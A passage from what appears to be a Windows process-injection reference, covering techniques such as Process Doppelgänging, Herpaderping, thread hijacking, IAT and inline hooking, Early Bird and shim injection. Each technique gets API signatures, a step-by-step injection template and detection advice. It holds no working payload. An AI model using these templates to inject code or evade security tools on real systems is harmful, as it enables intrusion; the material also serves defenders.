## 7. Process Doppelgänging 2108 | 2109 | An evolution of Process Hollowing that replaces the image before the process is created. this technique leverages the Windows Transactional NTFS (TxF) to temporarily replace a legitimate file with a malicious one during process creation. 2110 | 2111 | Key APIs: 2112 | - [`CreateTransaction`](https://docs.microsoft.com/en-us/windows/win32/api/ktmw32/nf-ktmw32-createtransaction) 2113 | ```c 2114 | HANDLE CreateTransaction( 2115 | LPSECURITY_ATTRIBUTES lpTransactionAttributes, 2116 | LPGUID UOW, 2117 | DWORD CreateOptions, 2118 | DWORD IsolationLevel, 2119 | DWORD IsolationFlags, 2120 | DWORD Timeout, 2121 | LPWSTR Description 2122 | ); 2123 | ``` 2124 | - [`CreateFileTransacted`](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createfiletransacteda) 2125 | ```c 2126 | HANDLE CreateFileTransactedA( 2127 | LPCSTR lpFileName, 2128 | DWORD dwDesiredAccess, 2129 | DWORD dwShareMode, 2130 | LPSECURITY_ATTRIBUTES lpSecurityAttributes, 2131 | DWORD dwCreationDisposition, 2132 | DWORD dwFlagsAndAttributes, 2133 | HANDLE hTemplateFile, 2134 | HANDLE hTransaction, 2135 | PUSHORT pusMiniVersion, 2136 | PVOID lpExtendedParameter 2137 | ); 2138 | ``` 2139 | - `NtCreateSection` (Undocumented) 2140 | ```c 2141 | NTSTATUS NTAPI NtCreateSection( 2142 | OUT PHANDLE SectionHandle, 2143 | IN ACCESS_MASK DesiredAccess, 2144 | IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, 2145 | IN PLARGE_INTEGER MaximumSize OPTIONAL, 2146 | IN ULONG SectionPageProtection, 2147 | IN ULONG AllocationAttributes, 2148 | IN HANDLE FileHandle OPTIONAL 2149 | ); 2150 | ``` 2151 | - `NtCreateProcessEx` (Undocumented) 2152 | ```c 2153 | NTSTATUS NTAPI NtCreateProcessEx( 2154 | OUT PHANDLE ProcessHandle, 2155 | IN ACCESS_MASK DesiredAccess, 2156 | IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, 2157 | IN HANDLE ParentProcess, 2158 | IN ULONG Flags, 2159 | IN HANDLE SectionHandle OPTIONAL, 2160 | IN HANDLE DebugPort OPTIONAL, 2161 | IN HANDLE ExceptionPort OPTIONAL, 2162 | IN BOOLEAN InJob 2163 | ); 2164 | ``` 2165 | - `NtQueryInformationProcess` (Undocumented, see above) 2166 | - `NtCreateThreadEx` (Undocumented) 2167 | ```c 2168 | NTSTATUS NTAPI NtCreateThreadEx( 2169 | OUT PHANDLE ThreadHandle, 2170 | IN ACCESS_MASK DesiredAccess, 2171 | IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, 2172 | IN HANDLE ProcessHandle, 2173 | IN PVOID StartRoutine, 2174 | IN PVOID Argument OPTIONAL, 2175 | IN ULONG CreateFlags, 2176 | IN SIZE_T ZeroBits, 2177 | IN SIZE_T StackSize, 2178 | IN SIZE_T MaximumStackSize, 2179 | IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL 2180 | ); 2181 | ``` 2182 | - [`RollbackTransaction`](https://docs.microsoft.com/en-us/windows/win32/api/ktmw32/nf-ktmw32-rollbacktransaction) 2183 | ```c 2184 | BOOL RollbackTransaction( 2185 | HANDLE TransactionHandle 2186 | ); 2187 | ``` 2188 | 2189 | Template: 2190 | 1. Create a transaction using `CreateTransaction` 2191 | 2. Create a transacted file with `CreateFileTransacted` 2192 | 3. Write the malicious payload to the transacted file 2193 | 4. Create a section for the transacted file using `NtCreateSection` 2194 | 5. Create a process from the section using `NtCreateProcessEx` 2195 | 6. Create a thread in the new process with `NtCreateThreadEx` 2196 | 7. Rollback the transaction with `RollbackTransaction` to remove traces of the malicious file 2197 | 2198 | Detection and Defense: 2199 | - Monitor for suspicious transactional NTFS operations 2200 | - Implement file integrity monitoring to detect temporary file replacements 2201 | - Use advanced EDR solutions capable of detecting Process Doppelgänging techniques 2202 | - Employ behavior-based detection to identify processes created from transacted files 2203 | 2204 | ## 8. Process Herpaderping 2205 | 2206 | Similar to Process Doppelgänging, but exploits the order of process creation and security checks. this technique exploits the fact that Windows performs security checks on the executable file before it starts executing the process. 2207 | 2208 | Key APIs: 2209 | - [`CreateFile`](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea) 2210 | ```c 2211 | HANDLE CreateFileA( 2212 | LPCSTR lpFileName, 2213 | DWORD dwDesiredAccess, 2214 | DWORD dwShareMode, 2215 | LPSECURITY_ATTRIBUTES lpSecurityAttributes, 2216 | DWORD dwCreationDisposition, 2217 | DWORD dwFlagsAndAttributes, 2218 | HANDLE hTemplateFile 2219 | ); 2220 | ``` 2221 | - `NtCreateSection` (Undocumented, see above) 2222 | - `NtCreateProcessEx` (Undocumented, see above) 2223 | - `NtCreateThreadEx` (Undocumented, see above) 2224 | 2225 | Template: 2226 | 1. Create a file with `CreateFile` 2227 | 2. Write the malicious payload to the file 2228 | 3. Create a section for the file using `NtCreateSection` 2229 | 4. Overwrite the file content with benign data 2230 | 5. Create a process from the section using `NtCreateProcessEx` 2231 | 6. Create a thread in the new process with `NtCreateThreadEx` 2232 | 2233 | Detection and Defense: 2234 | - Implement file integrity monitoring to detect rapid changes in executable files 2235 | - Use behavior-based detection to identify processes with mismatched file contents 2236 | - Employ advanced EDR solutions capable of detecting Process Herpaderping techniques 2237 | - Monitor for suspicious patterns of file creation, modification, and process creation 2238 | 2239 | ## 9. Hooking Injection 2240 | 2241 | This technique uses hooking-related functions to inject a malicious DLL. this technique can also be used for API hooking, not just for injection. 2242 | 2243 | Key APIs: 2244 | - [`SetWindowsHookEx`](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa) 2245 | ```c 2246 | HHOOK SetWindowsHookExA( 2247 | int idHook, 2248 | HOOKPROC lpfn, 2249 | HINSTANCE hmod, 2250 | DWORD dwThreadId 2251 | ); 2252 | ``` 2253 | - [`PostThreadMessage`](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-postthreadmessagea) 2254 | ```c 2255 | BOOL PostThreadMessageA( 2256 | DWORD idThread, 2257 | UINT Msg, 2258 | WPARAM wParam, 2259 | LPARAM lParam 2260 | ); 2261 | ``` 2262 | 2263 | Template: 2264 | 1. Create a DLL containing the hook procedure 2265 | 2. Use `SetWindowsHookEx` to set a hook in the target process 2266 | 3. Trigger the hook by sending a message with `PostThreadMessage` 2267 | 2268 | Detection and Defense: 2269 | - Monitor for suspicious usage of `SetWindowsHookEx`, especially with global hooks 2270 | - Implement API hooking detection mechanisms 2271 | - Use EDR solutions with capabilities to detect abnormal hook installations 2272 | - Employ behavior-based detection to identify processes with unexpected loaded modules 2273 | 2274 | ## 10. Extra Windows Memory Injection 2275 | 2276 | This technique injects code into a process by using the Extra Windows Memory (EWM), which is appended to the instance of a class during window class registration. less common and might be detected by some security solutions. 2277 | 2278 | Key APIs: 2279 | - [`FindWindowA`](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-findwindowa) 2280 | ```c 2281 | HWND FindWindowA( 2282 | LPCSTR lpClassName, 2283 | LPCSTR lpWindowName 2284 | ); 2285 | ``` 2286 | - [`GetWindowThreadProcessId`](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getwindowthreadprocessid) 2287 | ```c 2288 | DWORD GetWindowThreadProcessId( 2289 | HWND hWnd, 2290 | LPDWORD lpdwProcessId 2291 | ); 2292 | ``` 2293 | - `OpenProcess` (see above) 2294 | - `VirtualAllocEx` (see above) 2295 | - `WriteProcessMemory` (see above) 2296 | - [`SetWindowLongPtrA`](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowlongptra) 2297 | ```c 2298 | LONG_PTR SetWindowLongPtrA( 2299 | HWND hWnd, 2300 | int nIndex, 2301 | LONG_PTR dwNewLong 2302 | ); 2303 | ``` 2304 | - [`SendNotifyMessage`](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-sendnotifymessagea) 2305 | ```c 2306 | BOOL SendNotifyMessageA( 2307 | HWND hWnd, 2308 | UINT Msg, 2309 | WPARAM wParam, 2310 | LPARAM lParam 2311 | ); 2312 | ``` 2313 | 2314 | Template: 2315 | 1. Find the target window with `FindWindowA` 2316 | 2. Get the process ID of the window with `GetWindowThreadProcessId` 2317 | 3. Open the process with `OpenProcess` 2318 | 4. Allocate memory in the target process with `VirtualAllocEx` 2319 | 5. Write the malicious code to the allocated memory with `WriteProcessMemory` 2320 | 6. Use `SetWindowLongPtrA` to modify the window's extra memory 2321 | 7. Trigger the execution with `SendNotifyMessage` 2322 | 2323 | Detection and Defense: 2324 | - Monitor for suspicious modifications to window properties 2325 | - Implement integrity checks for window class data 2326 | - Use EDR solutions with capabilities to detect EWM manipulation 2327 | - Employ behavior-based detection to identify processes with unexpected changes in window properties 2328 | 2329 | ## 11. Propagate Injection 2330 | 2331 | This technique is used to inject malicious code into processes with medium integrity level, such as explorer.exe. It works by enumerating windows and subclassing them. can be particularly effective for privilege escalation. 2332 | 2333 | Key APIs: 2334 | - [`EnumWindows`](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumwindows) 2335 | ```c 2336 | BOOL EnumWindows( 2337 | WNDENUMPROC lpEnumFunc, 2338 | LPARAM lParam 2339 | ); 2340 | ``` 2341 | - [`EnumChildWindows`](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumchildwindows) 2342 | ```c 2343 | BOOL EnumChildWindows( 2344 | HWND hWndParent, 2345 | WNDENUMPROC lpEnumFunc, 2346 | LPARAM lParam 2347 | ); 2348 | ``` 2349 | - [`EnumProps`](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumpropa) 2350 | ```c 2351 | int EnumPropsA( 2352 | HWND hWnd, 2353 | PROPENUMPROCA lpEnumFunc 2354 | ); 2355 | ``` 2356 | - [`GetProp`](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getpropa) 2357 | ```c 2358 | HANDLE GetPropA( 2359 | HWND hWnd, 2360 | LPCSTR lpString 2361 | ); 2362 | ``` 2363 | - [`SetWindowSubclass`](https://docs.microsoft.com/en-us/windows/win32/api/commctrl/nf-commctrl-setwindowsubclass) 2364 | ```c 2365 | BOOL SetWindowSubclass( 2366 | HWND hWnd, 2367 | SUBCLASSPROC pfnSubclass, 2368 | UINT_PTR uIdSubclass, 2369 | DWORD_PTR dwRefData 2370 | ); 2371 | ``` 2372 | - `FindWindow` (see above) 2373 | - `FindWindowEx` (see above) 2374 | - `GetWindowThreadProcessId` (see above) 2375 | - `OpenProcess` (see above) 2376 | - `ReadProcessMemory` (see above) 2377 | - `VirtualAllocEx` (see above) 2378 | - `WriteProcessMemory` (see above) 2379 | - [`SetPropA`](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setpropa) 2380 | ```c 2381 | BOOL SetPropA( 2382 | HWND hWnd, 2383 | LPCSTR lpString, 2384 | HANDLE hData 2385 | ); 2386 | ``` 2387 | - [`PostMessage`](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-postmessagea) 2388 | ```c 2389 | BOOL PostMessageA( 2390 | HWND hWnd, 2391 | UINT Msg, 2392 | WPARAM wParam, 2393 | LPARAM lParam 2394 | ); 2395 | ``` 2396 | 2397 | Template: 2398 | 1. Enumerate windows using `EnumWindows` and `EnumChildWindows` 2399 | 2. For each window, check for subclassed windows using `EnumProps` and `GetProp` 2400 | 3. Open the target process with `OpenProcess` 2401 | 4. Allocate memory in the target process with `VirtualAllocEx` 2402 | 5. Write the malicious code to the allocated memory with `WriteProcessMemory` 2403 | 6. Subclass the window using `SetWindowSubclass` 2404 | 7. Set a new property with `SetPropA` to store the payload 2405 | 8. Trigger execution by sending a message with `PostMessage` 2406 | 2407 | Detection and Defense: 2408 | - Monitor for suspicious patterns of window enumeration and subclassing 2409 | - Implement integrity checks for window subclassing 2410 | - Use EDR solutions with capabilities to detect propagate injection techniques 2411 | - Employ behavior-based detection to identify processes with unexpected changes in window subclassing 2412 | 2413 | ## 12. Heap Spray 2414 | 2415 | While not strictly an injection technique, heap spraying is often used in conjunction with other injection methods to facilitate exploit payload delivery. modern browsers and operating systems have implemented mitigations against this. 2416 | 2417 | Key APIs: 2418 | - [`HeapAlloc`](https://docs.microsoft.com/en-us/windows/win32/api/heapapi/nf-heapapi-heapalloc) 2419 | ```c 2420 | LPVOID HeapAlloc( 2421 | HANDLE hHeap, 2422 | DWORD dwFlags, 2423 | SIZE_T dwBytes 2424 | ); 2425 | ``` 2426 | - [`VirtualAlloc`](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc) 2427 | ```c 2428 | LPVOID VirtualAlloc( 2429 | LPVOID lpAddress, 2430 | SIZE_T dwSize, 2431 | DWORD flAllocationType, 2432 | DWORD flProtect 2433 | ); 2434 | ``` 2435 | 2436 | Template: 2437 | 1. Allocate multiple memory blocks using `HeapAlloc` or `VirtualAlloc` 2438 | 2. Fill these blocks with a combination of NOP sleds and the payload 2439 | 3. Repeat this process to cover a large portion of the process's address space 2440 | 2441 | Detection and Defense: 2442 | - Implement memory allocation monitoring to detect suspicious patterns 2443 | - Use address space layout randomization (ASLR) to mitigate heap spraying attacks 2444 | - Employ EDR solutions with capabilities to detect heap spraying techniques 2445 | - Implement browser-specific mitigations, such as randomizing heap allocation 2446 | 2447 | ## 13. Thread Execution Hijacking 2448 | 2449 | This technique involves suspending a legitimate thread in a target process, modifying its execution context to point to malicious code, and then resuming the thread. saving and restoring the original thread context required to maintain process stability. 2450 | 2451 | Key APIs: 2452 | - `OpenThread` (see above) 2453 | - `SuspendThread` (see above) 2454 | - `GetThreadContext` (see above) 2455 | - `SetThreadContext` (see above) 2456 | - `VirtualAllocEx` (see above) 2457 | - `WriteProcessMemory` (see above) 2458 | - `ResumeThread` (see above) 2459 | 2460 | Template: 2461 | 1. Open the target thread with `OpenThread` 2462 | 2. Suspend the thread with `SuspendThread` 2463 | 3. Get the thread context with `GetThreadContext` 2464 | 4. Allocate memory in the target process with `VirtualAllocEx` 2465 | 5. Write the malicious code to the allocated memory with `WriteProcessMemory` 2466 | 6. Modify the thread context to point to the injected code with `SetThreadContext` 2467 | 7. Resume the thread with `ResumeThread` 2468 | 2469 | Detection and Defense: 2470 | - Monitor for suspicious patterns of thread suspension and resumption 2471 | - Implement thread execution monitoring to detect unexpected changes in execution flow 2472 | - Use EDR solutions with capabilities to detect thread hijacking techniques 2473 | - Employ runtime analysis to identify unusual thread behavior 2474 | 2475 | ## 14. Module Stomping 2476 | 2477 | This technique overwrites the memory of a legitimate module in the target process with malicious code, potentially bypassing some security checks. detected by integrity checks on loaded modules. 2478 | 2479 | Key APIs: 2480 | - [`GetModuleInformation`](https://docs.microsoft.com/en-us/windows/win32/api/psapi/nf-psapi-getmoduleinformation) 2481 | ```c 2482 | BOOL GetModuleInformation( 2483 | HANDLE hProcess, 2484 | HMODULE hModule, 2485 | LPMODULEINFO lpmodinfo, 2486 | DWORD cb 2487 | ); 2488 | ``` 2489 | - [`VirtualProtectEx`](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotectex) 2490 | ```c 2491 | BOOL VirtualProtectEx( 2492 | HANDLE hProcess, 2493 | LPVOID lpAddress, 2494 | SIZE_T dwSize, 2495 | DWORD flNewProtect, 2496 | PDWORD lpflOldProtect 2497 | ); 2498 | ``` 2499 | - `WriteProcessMemory` (see above) 2500 | 2501 | Template: 2502 | 1. Open the target process with `OpenProcess` 2503 | 2. Get information about the target module using `GetModuleInformation` 2504 | 3. Change the memory protection of the module to writable using `VirtualProtectEx` 2505 | 4. Overwrite the module's code section with malicious code using `WriteProcessMemory` 2506 | 5. Restore the original memory protection with `VirtualProtectEx` 2507 | 2508 | Detection and Defense: 2509 | - Implement module integrity checks to detect modifications to loaded modules 2510 | - Use EDR solutions with capabilities to detect module stomping techniques 2511 | - Employ memory forensics tools to identify signs of module stomping 2512 | - Implement code signing and verification mechanisms for loaded modules 2513 | 2514 | ## 15. IAT Hooking 2515 | 2516 | This technique modifies the Import Address Table (IAT) of a process to redirect function calls to malicious code. detected by comparing the IAT entries with the actual function addresses in the target DLLs. 2517 | 2518 | Key APIs: 2519 | - [`GetProcAddress`](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress) 2520 | ```c 2521 | FARPROC GetProcAddress( 2522 | HMODULE hModule, 2523 | LPCSTR lpProcName 2524 | ); 2525 | ``` 2526 | - [`VirtualProtect`](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect) 2527 | ```c 2528 | BOOL VirtualProtect( 2529 | LPVOID lpAddress, 2530 | SIZE_T dwSize, 2531 | DWORD flNewProtect, 2532 | PDWORD lpflOldProtect 2533 | ); 2534 | ``` 2535 | 2536 | Template: 2537 | 1. Locate the IAT of the target process 2538 | 2. Identify the function to be hooked 2539 | 3. Change the memory protection of the IAT to writable using `VirtualProtect` 2540 | 4. Replace the original function address with the address of the malicious function 2541 | - Calculate the address of the IAT entry for the target function 2542 | - Read the original function address from the IAT entry 2543 | - Replace the original function address with the address of the malicious function 2544 | 5. Restore the original memory protection 2545 | 2546 | Detection and Defense: 2547 | - Implement IAT integrity checks to detect modifications 2548 | - Use EDR solutions with capabilities to detect IAT hooking 2549 | - Employ runtime analysis to identify unexpected function redirections 2550 | - Implement code signing and verification mechanisms for loaded modules 2551 | 2552 | ## 16. Inline Hooking 2553 | 2554 | This technique modifies the first few instructions of a function to redirect execution to malicious code. requires careful handling of multi-byte instructions and relative jumps. 2555 | 2556 | Key APIs: 2557 | - `VirtualProtect` (see above) 2558 | - [`memcpy`](https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/memcpy-wmemcpy) 2559 | ```c 2560 | void *memcpy( 2561 | void *dest, 2562 | const void *src, 2563 | size_t count 2564 | ); 2565 | ``` 2566 | 2567 | Template: 2568 | 1. Locate the target function in memory 2569 | 2. Change the memory protection to writable using `VirtualProtect` 2570 | 3. Save the original instructions (usually 5 or more bytes) 2571 | 4. Overwrite the beginning of the function with a jump to the malicious code 2572 | 5. In the malicious code, execute the saved original instructions and then jump back to the original function 2573 | 2574 | Detection and Defense: 2575 | - Implement function integrity checks to detect modifications to function prologues 2576 | - Use EDR solutions with capabilities to detect inline hooking 2577 | - Employ runtime analysis to identify unexpected changes in function execution flow 2578 | - Implement code signing and verification mechanisms for loaded modules 2579 | 2580 | ## 17. Debugger Injection 2581 | 2582 | This technique uses debugging APIs to inject code into a target process. can be detected by anti-debugging checks in the target process. 2583 | 2584 | Key APIs: 2585 | - [`DebugActiveProcess`](https://docs.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-debugactiveprocess) 2586 | ```c 2587 | BOOL DebugActiveProcess( 2588 | DWORD dwProcessId 2589 | ); 2590 | ``` 2591 | - [`WaitForDebugEvent`](https://docs.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-waitfordebugevent) 2592 | ```c 2593 | BOOL WaitForDebugEvent( 2594 | LPDEBUG_EVENT lpDebugEvent, 2595 | DWORD dwMilliseconds 2596 | ); 2597 | ``` 2598 | - [`ContinueDebugEvent`](https://docs.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-continuedebugevent) 2599 | ```c 2600 | BOOL ContinueDebugEvent( 2601 | DWORD dwProcessId, 2602 | DWORD dwThreadId, 2603 | DWORD dwContinueStatus 2604 | ); 2605 | ``` 2606 | 2607 | Template: 2608 | 1. Attach to the target process as a debugger using `DebugActiveProcess` 2609 | 2. Wait for debug events with `WaitForDebugEvent` 2610 | 3. When a suitable event occurs, inject the malicious code using `WriteProcessMemory` 2611 | 4. Modify the thread context to execute the injected code 2612 | 5. Continue the debug event with `ContinueDebugEvent` 2613 | 2614 | Detection and Defense: 2615 | - Implement anti-debugging techniques in sensitive applications 2616 | - Monitor for suspicious use of debugging APIs 2617 | - Use EDR solutions with capabilities to detect debugger-based injection 2618 | - Employ runtime analysis to identify unexpected debugging events 2619 | 2620 | ## 18. COM Hijacking 2621 | 2622 | This technique involves replacing legitimate COM objects with malicious ones to execute code when the COM object is instantiated. used for persistence, not just for injection. 2623 | 2624 | Key APIs: 2625 | - [`CoCreateInstance`](https://docs.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-cocreateinstance) 2626 | ```c 2627 | HRESULT CoCreateInstance( 2628 | REFCLSID rclsid, 2629 | LPUNKNOWN pUnkOuter, 2630 | DWORD dwClsContext, 2631 | REFIID riid, 2632 | LPVOID *ppv 2633 | ); 2634 | ``` 2635 | - [`RegOverridePredefKey`](https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regoverridepredefkey) 2636 | ```c 2637 | LSTATUS RegOverridePredefKey( 2638 | HKEY hKey, 2639 | HKEY hNewHKey 2640 | ); 2641 | ``` 2642 | 2643 | Template: 2644 | 1. Create a malicious COM object 2645 | 2. Modify the registry to replace the CLSID of a legitimate COM object with the malicious one 2646 | 3. When the application calls `CoCreateInstance`, the malicious object will be instantiated instead 2647 | 2648 | Detection and Defense: 2649 | - Implement COM object integrity checks 2650 | - Monitor for suspicious registry modifications related to COM objects 2651 | - Use application whitelisting to prevent unauthorized COM objects from loading 2652 | - Employ behavior-based detection to identify unexpected COM object instantiation 2653 | 2654 | ## 19. Phantom DLL Hollowing 2655 | 2656 | This technique involves creating a new section in a legitimate DLL and injecting code into it. 2657 | 2658 | Key APIs: 2659 | - [`LoadLibraryEx`](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibraryexa) 2660 | ```c 2661 | HMODULE LoadLibraryExA( 2662 | LPCSTR lpLibFileName, 2663 | HANDLE hFile, 2664 | DWORD dwFlags 2665 | ); 2666 | ``` 2667 | - [`VirtualAlloc`](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc) 2668 | ```c 2669 | LPVOID VirtualAlloc( 2670 | LPVOID lpAddress, 2671 | SIZE_T dwSize, 2672 | DWORD flAllocationType, 2673 | DWORD flProtect 2674 | ); 2675 | ``` 2676 | - [`VirtualProtect`](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect) 2677 | ```c 2678 | BOOL VirtualProtect( 2679 | LPVOID lpAddress, 2680 | SIZE_T dwSize, 2681 | DWORD flNewProtect, 2682 | PDWORD lpflOldProtect 2683 | ); 2684 | ``` 2685 | 2686 | Template: 2687 | 1. Load a legitimate DLL using `LoadLibraryEx` with `DONT_RESOLVE_DLL_REFERENCES` flag 2688 | 2. Allocate a new memory section using `VirtualAlloc` 2689 | 3. Copy the malicious code to the new section 2690 | 4. Modify the DLL's PE headers to include the new section 2691 | 5. Change the memory protection of the new section using `VirtualProtect` 2692 | 6. Execute the injected code 2693 | 2694 | Detection and Defense: 2695 | - Implement DLL integrity checks to detect modifications 2696 | - Monitor for suspicious patterns of DLL loading and memory allocation 2697 | - Use EDR solutions with capabilities to detect phantom DLL hollowing 2698 | - Employ memory forensics tools to identify signs of DLL manipulation 2699 | 2700 | ## 20. PROPagate 2701 | 2702 | This technique abuses the SetProp/GetProp Windows API functions to achieve code execution. 2703 | 2704 | Key APIs: 2705 | - [`SetProp`](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setpropa) 2706 | ```c 2707 | BOOL SetPropA( 2708 | HWND hWnd, 2709 | LPCSTR lpString, 2710 | HANDLE hData 2711 | ); 2712 | ``` 2713 | - [`GetProp`](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getpropa) 2714 | ```c 2715 | HANDLE GetPropA( 2716 | HWND hWnd, 2717 | LPCSTR lpString 2718 | ); 2719 | ``` 2720 | - [`EnumPropsEx`](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumpropsexw) 2721 | ```c 2722 | int EnumPropsExW( 2723 | HWND hWnd, 2724 | PROPENUMPROCEXW lpEnumFunc, 2725 | LPARAM lParam 2726 | ); 2727 | ``` 2728 | 2729 | Template: 2730 | 1. Find a target window using `FindWindow` or `EnumWindows` 2731 | 2. Allocate memory for the payload using `VirtualAllocEx` 2732 | 3. Write the payload to the allocated memory using `WriteProcessMemory` 2733 | 4. Use `SetProp` to set a property on the window, with the payload address as the property value 2734 | - Create a custom window procedure that executes the payload 2735 | - Use `SetWindowLongPtr` to replace the original window procedure with the custom one 2736 | 6. Trigger the execution by causing the window to enumerate its properties (e.g., by sending a message that causes a redraw) 2737 | 2738 | Detection and Defense: 2739 | - Monitor for suspicious modifications to window properties 2740 | - Implement integrity checks for window properties 2741 | - Use EDR solutions with capabilities to detect PROPagate techniques 2742 | - Employ behavior-based detection to identify processes with unexpected changes in window properties 2743 | 2744 | ## 21. Early Bird Injection 2745 | 2746 | This technique injects code into a process during its initialization, before the main thread starts executing. 2747 | 2748 | Key APIs: 2749 | - [`CreateProcess`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa) 2750 | ```c 2751 | BOOL CreateProcessA( 2752 | LPCSTR lpApplicationName, 2753 | LPSTR lpCommandLine, 2754 | LPSECURITY_ATTRIBUTES lpProcessAttributes, 2755 | LPSECURITY_ATTRIBUTES lpThreadAttributes, 2756 | BOOL bInheritHandles, 2757 | DWORD dwCreationFlags, 2758 | LPVOID lpEnvironment, 2759 | LPCSTR lpCurrentDirectory, 2760 | LPSTARTUPINFOA lpStartupInfo, 2761 | LPPROCESS_INFORMATION lpProcessInformation 2762 | ); 2763 | ``` 2764 | - `VirtualAllocEx` (see above) 2765 | - `WriteProcessMemory` (see above) 2766 | - `QueueUserAPC` (see above) 2767 | - `ResumeThread` (see above) 2768 | 2769 | Template: 2770 | 1. Create a new process in suspended state using `CreateProcess` with `CREATE_SUSPENDED` flag 2771 | 2. Allocate memory in the new process using `VirtualAllocEx` 2772 | 3. Write the payload to the allocated memory using `WriteProcessMemory` 2773 | 4. Queue an APC to the main thread using `QueueUserAPC`, pointing to the payload 2774 | 5. Resume the main thread using `ResumeThread` 2775 | 2776 | Detection and Defense: 2777 | - Monitor for process creation with the `CREATE_SUSPENDED` flag 2778 | - Implement process initialization monitoring to detect unexpected code execution 2779 | - Use EDR solutions with capabilities to detect Early Bird injection techniques 2780 | - Employ behavior-based detection to identify processes with abnormal initialization patterns 2781 | 2782 | ## 22. Shim-based Injection 2783 | 2784 | This technique leverages the Windows Application Compatibility framework to inject code. 2785 | 2786 | Key APIs: 2787 | - [`SdbCreateDatabase`](https://docs.microsoft.com/en-us/windows/win32/api/appcompatapi/nf-appcompatapi-sdbcreatedatabase) 2788 | ```c 2789 | PDB SdbCreateDatabase( 2790 | LPCWSTR pwszPath 2791 | ); 2792 | ``` 2793 | - [`SdbWriteDWORDTag`](https://docs.microsoft.com/en-us/windows/win32/api/appcompatapi/nf-appcompatapi-sdbwritedwordtag) 2794 | ```c 2795 | BOOL SdbWriteDWORDTag( 2796 | PDB pdb, 2797 | TAG tTag, 2798 | DWORD dwData 2799 | ); 2800 | ``` 2801 | - [`SdbEndWriteListTag`](https://docs.microsoft.com/en-us/windows/win32/api/appcompatapi/nf-appcompatapi-sdbendwritelisttag) 2802 | ```c 2803 | BOOL SdbEndWriteListTag( 2804 | PDB pdb, 2805 | TAG tTag 2806 | ); 2807 | ``` 2808 | 2809 | Template: 2810 | 1. Create a shim database using `SdbCreateDatabase` 2811 | 2. Write shim data to the database, including the payload and target application 2812 | 3. Install the shim database using `sdbinst.exe` 2813 | 4. The payload will be executed when the target application is launched 2814 | 2815 | Detection and Defense: 2816 | - Monitor for suspicious shim database creation and installation 2817 | - Implement application compatibility shim monitoring 2818 | - Use EDR solutions with capabilities to detect shim-based injection techniques 2819 | - Employ whitelisting for approved shims and block unauthorized shim installations 2820 | 2821 | ## 23. Mapping Injection 2822 | 2823 | This technique uses memory-mapped files to inject code into a remote process. 2824 | 2825 | Key APIs: 2826 | - [`CreateFileMapping`](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createfilemappinga) 2827 | ```c 2828 | HANDLE CreateFileMappingA( 2829 | HANDLE hFile, 2830 | LPSECURITY_ATTRIBUTES lpFileMappingAttributes, 2831 | DWORD flProtect, 2832 | DWORD dwMaximumSizeHigh, 2833 | DWORD dwMaximumSizeLow, 2834 | LPCSTR lpName 2835 | ); 2836 | ``` 2837 | - [`MapViewOfFile`](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-mapviewoffile) 2838 | ```c 2839 | LPVOID MapViewOfFile( 2840 | HANDLE hFileMappingObject, 2841 | DWORD dwDesiredAccess, 2842 | DWORD dwFileOffsetHigh, 2843 | DWORD dwFileOffsetLow, 2844 | SIZE_T dwNumberOfBytesToMap 2845 | ); 2846 | ``` 2847 | - `NtMapViewOfSection` (Undocumented) 2848 | ```c 2849 | NTSTATUS NTAPI NtMapViewOfSection( 2850 | HANDLE SectionHandle, 2851 | HANDLE ProcessHandle, 2852 | PVOID *BaseAddress, 2853 | ULONG_PTR ZeroBits, 2854 | SIZE_T CommitSize, 2855 | PLARGE_INTEGER SectionOffset, 2856 | PSIZE_T ViewSize, 2857 | SECTION_INHERIT InheritDisposition, 2858 | ULONG AllocationType, 2859 | ULONG Win32Protect 2860 | ); 2861 | ``` 2862 | 2863 | Template: 2864 | 1. Create a file mapping object using `CreateFileMapping` 2865 | 2. Map a view of the file into the current process using `MapViewOfFile` 2866 | 3. Write the payload to the mapped view 2867 | 4. Use `NtMapViewOfSection` to map the view into the target process 2868 | 5. Execute the payload in the target process 2869 | 2870 | Detection and Defense: 2871 | - Monitor for 